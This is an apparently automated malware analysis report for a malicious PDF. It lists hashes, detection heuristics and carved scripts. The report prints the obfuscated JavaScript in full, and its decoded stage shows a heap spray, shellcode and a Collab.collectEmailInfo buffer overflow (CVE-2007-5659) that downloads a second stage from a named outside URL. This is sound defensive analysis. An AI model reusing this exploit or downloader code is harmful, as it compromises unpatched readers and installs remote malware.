Malicious PDF — malware analysis report

Static analysis result for SHA-256 c25a97b99ad80ac6…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2026-05-09
MD5: ff835c1c0b21dbc7978495b07370d6ea SHA-1: 3e53d88105a93cef5a1a6251c2c191b31da5a52a SHA-256: c25a97b99ad80ac6bbdf6b2da766b11f968a64819e4eeeaa3a51585f0db5e47c
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript with multiple heuristic firings indicating obfuscation and eval() calls. The JavaScript stream, named 'javascript_obj0013_001.js', is likely responsible for executing malicious code. The eval() call is a strong indicator of dynamic code execution, which is often used to download and run further payloads. The confidence is moderate due to the obfuscated nature of the script, making precise determination of its full functionality difficult.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function xEeuZ(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function i9iONcxNDB9Xf(D9JH8nXRW){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(D9JH8nXRW)"+";"+"}");eval("function sKSoNhBU(L0Jhe2dXN){var pyTGKjWsg6GKp="+"0,XW6Ij=L0Jhe2dXN.l"+"en"+"gth,IETwlzJ7S9U=10"+"2"+"4,Sz2n9KVm,XKjLLF,rztJENF1MZ8='',Zbz3a2qjLLWh=pyTGKjWsg6GKp,wRqBgHpgB0vYO=pyTGKjWsg6GKp,ay4lgfkjGlaz8v=pyTGKjWsg6GKp,QQMGGXwYNdkWZ=Ar"+"ra" …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl3/load.php?id=331&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x363 6451 bytes
SHA-256: 96d0aa9b31b64ac1cf464b9a3754e993ac256e5ab2136296b093e324175ac564
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 161 of 238 identifiers look randomly generated (e.g. 'FwNhrNN3OUxeJaQdgMQdpoLvJJvprS2'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function xEeuZ(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function i9iONcxNDB9Xf(D9JH8nXRW){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(D9JH8nXRW)"+";"+"}");eval("function sKSoNhBU(L0Jhe2dXN){var pyTGKjWsg6GKp="+"0,XW6Ij=L0Jhe2dXN.l"+"en"+"gth,IETwlzJ7S9U=10"+"2"+"4,Sz2n9KVm,XKjLLF,rztJENF1MZ8='',Zbz3a2qjLLWh=pyTGKjWsg6GKp,wRqBgHpgB0vYO=pyTGKjWsg6GKp,ay4lgfkjGlaz8v=pyTGKjWsg6GKp,QQMGGXwYNdkWZ=Ar"+"ra"+"y(63,3,23,30,29,7,16,12,27,2,0,0,0,0,0,0,24,62,51,13,49,11,57,1,14,20,41,21,19,61,35,56,52,26,55,9,5,50,18,17,6,15,4,0,0,0,0,48,0,44,36,0,10,46,43,45,42,33,22,28,8,25,38,39,60,31,58,40,34,32,47,54,59,37,53);f"+"o"+"r(XKjLLF=M"+"at"+"h.c"+"ei"+"l(XW6Ij/"+"IETwlzJ7S9U)"+";XKjLLF>pyTGKjWsg6GKp;XKjLLF-"+"-){fo"+"r(Sz2n9KVm=Ma"+"th.m"+"in(XW6Ij,IETwlzJ7S9U);Sz2n9KVm>pyTGKjWsg6GKp;Sz2n9KVm-"+"-,XW6Ij-"+"-){ay4lgfkjGlaz8v|"+"=(QQMGGXwYNdkWZ[L0Jhe2dXN.cha"+"rCod"+"eAt(Zbz3a2qjLLWh+"+"+)-48])<"+"<wRqBgHpgB0vYO;if(wRqBgHpgB0vYO){rztJENF1MZ8+"+"=i9iONcxNDB9Xf"+"(134^ay4lgfkjGlaz8v&"+"2"+"5"+"5);ay4lgfkjGlaz8v>"+">="+"8;wRqBgHpgB0vYO-"+"="+"2;}el"+"se{wRqBgHpgB0vYO="+"6"+";}}"+"}return (rztJENF1MZ8);}var hVEtY1aDlJUWuT=implode('',['n90FP8QMp2A_JR3B','nefJ','s','Y3pn3','7MPqA0e','AQvn9Aps2epvoHr','nrAPGB','4BW8Yge','waRe5','ArI0YrK','fhJJvprS2er','PV0Fv','QQ0nXvxv','fAOnrQB3x3OfLM0s','2ChhYHri','Ev','x','aV','feJvprS2e','rPV0F','vwqB3x3OfLM0s2gJ','g','ef','JCxgx','ivHz','0','N3zM','e','v','JCxgxivHz','0N3znefJC','xgxivHz0N3zsj','0pb2v','p','P0HrixhghnAU','fokFhL','EMo','od','gvwfJPY','e','p','BLYrnw','aRe5ArI0YrKRfJ','x8dOBN3FU','0','3r','s8rD2','08Oe0efvQ','Q0n90FP','8hxq','2E','M0BCRnefJ','w','r','v','gy88Fwjeg','yRfJ','_qH','MnXAgt8f','PwqeMn','efJ','BNAOz2AFwYefbHrpUjfazHrpUjf','a','zH','rpU','jfazHrpw9p_ZYrpzjxaZYrp_9','8','D0HrpAQED0','H','rpAQ','fgRHr','p1','1k','g','zH','r','p1Lf','az','Hrp','1L7_5Yrp1xfgBHr','pc1p_','TY','rp','c1','7_cYr','pA','Vka','cYrp91aa1Yrp','1','1p_cYrp_dx_cYr','p12','xDcYrp09','7aUHrpUVE_zHrp097aUHrp_Hp_DHrp1','1a','gzH','rp','11','p_Z','Yrp_','dx_cYrpZ0fgzHrp','_','3fvDHr','p1qxDRHrpwXfgzH','rp11','pgRHrp11p_cYrp5q7a','_','HrpZ','0x','_ZYrpDXfvDH','rp_','H','xgR','HrpwXx_RH','rp11pgcYr','p11','p_cYrp5','q7a_Hrp','Z0x','_DHr','pTq','avDHrpRQx','acYr','p','w','XEg9Yrp11','ag9','Yrp','11p_','cYrp5q7','a','_Hrp','Z0','x_zHr','pw','QfvDHrpw','97gRHrp','wXfvcYrp1','1kgZY','rp1','1p','_','cYrp5','q','7a','_Hrp','Z0E_','c','YrpPHa','vD','Hrpw3pv_HrpwX','xa','DHrp11','7g0Hr','p11p','_cYrp','5q','7a_H','rp517_ZY','rp95EacYrp','0','37','gTYrp_9','xgBHrpc5xD5Yr','p1xfg_','Hrp11p','_1Y','rpZqx_cYrp','037a_Hr','p_d8DZYr','p1LpD5Yrp1YavBHrp_dED_Hrp','c5ED5','YrpwXED0Hr','p117aUHrp11p','_cYrpAXEDc','Yrp','cYf','_0Hrp09','kDwHrpDrfgDHrp11p_','cYrp_9x','_cYrpc','2','xD5YrpP37aUH','rpP9','7aTY','r','p_9EDcYr','pT1pD5Y','rpRQfv','DHrp1','1p_','cYrpZ1p_cYrp5q7aU','H','r','pAHE_ZYrpZ1x_9Yr','p','Zq7','aUHrpwXE','_D','Hrp1','1av1Yrp11p_cYrp5qp_T','Y','rpPr8Dc','YrpZ2x_cYrpTqxvRHr','pPrfv5Yrp1LpDcYrp','A3','pvDHrp','1','1','p_c','Y','r','p0','3pgwHrp_d8DcY','r','p12xD5','Yrp1','Y','a','vBHrp_dED_','Hrpc5E','D5Yr','p51agDHrp11p_','c','YrpAHx_cYrpZ5x_AH','r','p','5q','p','_TYrp92kDZYrpZ','2kgUHr','pRQ','EDTYr','pT','1pv5YrpZ2','7DcYrp5q7','aUHrp','AHE','_zHrpZ','1x_5YrpZq','7aUHr','pwXE_DHrp11kDTYrp11p_cYrp1','1a','vB','Hrp0','3pg','wH','rp','_d8','DcY','rp1','5xD5Yrp1Eav','BHr','p_dE','D_H','rpc','5ED','5Y','rpc1agDH','rp11p_cYrp','AHx_cY','rp_dxg','wHrpc','1pD5Yrp1Yav','B','Hrp_d','ED_Hrpc','5ED','5Yrp','1','1ag','DHrp11p_cYrp5','Yp_c','YrpZE7DUHr','p','wHp_','TY','rpwHp_TYrpwHp_TYrpwHp_T','YrpwjEaTYrpZYx','_','ZYr','p_d','EDTYrpwdk','gBH','rpZE','pgAHrpw','9','pgw','Hrp_dED5Yrp','_dfgzHr','p1','5xv','PH','rp','ZLEaUHr','pZ0x_zHrp0','j7a','UHrp_df_z','Hr','pcqx','v','ZYr','p12pvDHrpZ0','x','g','TYr','p','0A','E','a','U','Hrp12','kDcY','rp92','pgTYrp51Eg_HrpUV','x','D1Yrp','Pj','p_TYr','p','927D0Hrp18xg0Hrpc1pa','RHrp','R','d','a_BHrp15xvZYrpP3Eg1Yrp1','2p_PH','r','p51pg9','YrpRHagUH','r','pR3','f_UHrp037DRH','rpZYfg5Y','rpwdEa','UH','rpZYE','aU','H','rp12kDZYr','pA','A8gPHrp','12EaUHr','p_dxDUH','r','pc2EDBHrpzVx_TYrp1L','7','aUHrp12','7aUH','rpZq','Eg5','Yrp','Pd7D','PHrp11p_DH','rpRVagDHrpR','QxgRHrpZqpgw','Hr','p52ED9Yr','p58xDPHrp','11pD','RHrpDdE','a','AHr','pDQ','8aU','HrpP9kg5Yr','p_3E','gcYrp_V','Ea','PHrpzA8g','RHr','pPH','kg','PHrp_H7azHrpDjE','gcYr','p_','jkawHr','pP9k','g','zHr','p','_','97aTYrp_dEaRHr','p','DQ','Eg1YrpDQ','EaAHrp_A8gcYrpzd7aUHrpzj8g','zHrpP9','8gRHrp','DQ','8azHrp','zd7aT','YrpwQ8gUVrfMQdpoL','vJ','P57D','58qxnefJ','wrvawQfgwQ8vn','90','FP8','Qph24B10','aJxQ','QORde','gV8','0FwNhrNN3OUxeJaQdgMQdpoLvJJvprS2','erPV0Fn','efJ','P57D58qxn','eh','JeXvrKRp_YRhgA','2fvvwfJ_','qH','Mnw','aRe5ArI0YrK8renHYrN2qFo80O','eVr','sB','0fg0Qxs','B0fg','0QEJv','wfJ','Cxg','xi','vHz0N3znef','JeY','4_','k','RkPw','L','ffCxgxi','v','Hz0','N3zhQQr','Ev3Uy','fHgP','qAfMQdpo','LvJD','YYp30aJxQhfe04gP0YRk8','rhnQf0','UQfgwQfgvndMGLpDwR','3vn','9','3rP8hf_qHMn34z','l','q8BA','v3PS1','v_DHe_xQ8v22CURwa0f54U','_EkaNEaeDYYp3','0kv22CUR','wa0f5','4U_EkaNEkfg','A','hJM8QMp2','A_JR','3B4q4zlq8BAv3PS1v_DHe','_88renwaRe5A','rI','0YrK8','Qf','nX','Agt8fP','w','qeMMQrAnev','JuYYryE0x','JNeJ','S5p','xl1e','O','ofABJ1xPB','rrfnwvJ_','q','HMn','XppzH4as','5Yzz9','pUnefJo8','vMs90xN50OP1','MOP20xJ','N','HhUo3zUL0xs5efvwfJGYqgL5ErD','L4gcvaJ','xQQ_B2xPDt3pI2E_EN','dMN','8v','ro2AOe','nhw9','oQO','hV','dJvwfJ_qHMn','w','eBNL','g_68re','ntA','OD8r','DPL0','F0xQ','_B2xPD','t','3pI2E_ENQFeqHM5','E','v','fw','Ahh','GYqgL5','ErDL4gcv7hyxAFP','qape3xf','hXppzH4as5Yz','z9pUsjexoL0DUxdgvAQvnA','H','OnrhfgxpOIE7P48xw','ne','x','enrfJ','u9h','Je','rQxHYHz914R','Reg','J','xefJRQdsuQQxHY','Hz914RPeg','JrQdgvQ','h','Ar8Qx','HYHz914','RR','e','g','JrQrgvAhJrfv','JeweBNLg_6Rgg88re','x','QQan9ds','nweBNLg_6','RMg88hen3','x','fn','hv','AnrQxHYHz91','4R','we','gJ','r','Q','QavA','h','JM8rD2','08','O','e0efvwfJ_qHMn','V','3MEqe','P0','jvB9vpUL','LfB','ne','fJ','BNAOz2AFwYefbHr','pwjegyY','rpwje','gyLrfMQQp','e0','erNxdFzvpF','V','08','MHEpUEY','CgHNhrNN3OUxeJr','Q','ha','UAxaP','AhJb20UoEMvzxa_','EvpPPraJg','efJb20UoEMvzxa_E','vpPPrkvndvx','v2','Yhyoerh','qHF','K','Eq','rPY','e','JxQ','QDJfer','oLHh','yoerhY3FUYpr','o0','erYNHOJxQ0zYY','FaBfJ','bVhhf2qOp','QdFzvpF','V08MHEpU','EYCg','Hv0fM','QrAne','vJS5pxl1eOofABJ1','xPBrr','f','M9']);");eval(sKSoNhBU(hVEtY1aDlJUWuT));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x363 2557 bytes
SHA-256: b55e4b0a4e06912c8640718d2ca9f6de566838b9eff49b7693bfd5f31e22309b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var szcEokK = new Array(); function hUGZKWp2(KXhgmRynS, oMmOcl2ra) { while (KXhgmRynS.length*2<oMmOcl2ra){KXhgmRynS += KXhgmRynS;} KXhgmRynS = KXhgmRynS.substring(0,oMmOcl2ra/2); return KXhgmRynS; } function AQ9ghi() { var hY3ryZZ = 0x0c0c0c0c; var g1d0Tpap = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F33%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3333%u2631%u7073%u3D6C%u0034"); var rGBApk = 0x400000; var wlSKEI = g1d0Tpap.length * 2; var oMmOcl2ra = rGBApk - (wlSKEI+0x38); var KXhgmRynS = unescape("%u9090%u9090"); KXhgmRynS = hUGZKWp2(KXhgmRynS, oMmOcl2ra); var wuvXI = (hY3ryZZ - 0x400000)/rGBApk; for (var QSN1KxmWOvD7eD=0;QSN1KxmWOvD7eD<wuvXI;QSN1KxmWOvD7eD++) { szcEokK[QSN1KxmWOvD7eD] = KXhgmRynS + g1d0Tpap; } } function OGiNfdalIo6U5() { var Gu3U7nwR3FM = app.viewerVersion.toString(); Gu3U7nwR3FM = Gu3U7nwR3FM.replace(/\D/g,""); var kHeRDV = new Array(Gu3U7nwR3FM.charAt(0),Gu3U7nwR3FM.charAt(1),Gu3U7nwR3FM.charAt(2)); if ((kHeRDV[0] == 8 && ((kHeRDV[1] == 1 && kHeRDV[2] < 2) || kHeRDV[1] < 1)) || (kHeRDV[0] == 7 && kHeRDV[1] < 1) || (kHeRDV[0] < 7)) { AQ9ghi(); var bsMaT9sHDMMU2H = unescape("%u0c0c%u0c0c"); while(bsMaT9sHDMMU2H.length < 44952) bsMaT9sHDMMU2H += bsMaT9sHDMMU2H; this.collabStore = Collab.collectEmailInfo({subj: "",msg: bsMaT9sHDMMU2H}); } } OGiNfdalIo6U5();

Open this report in the interactive analyzer, or submit your own file for analysis.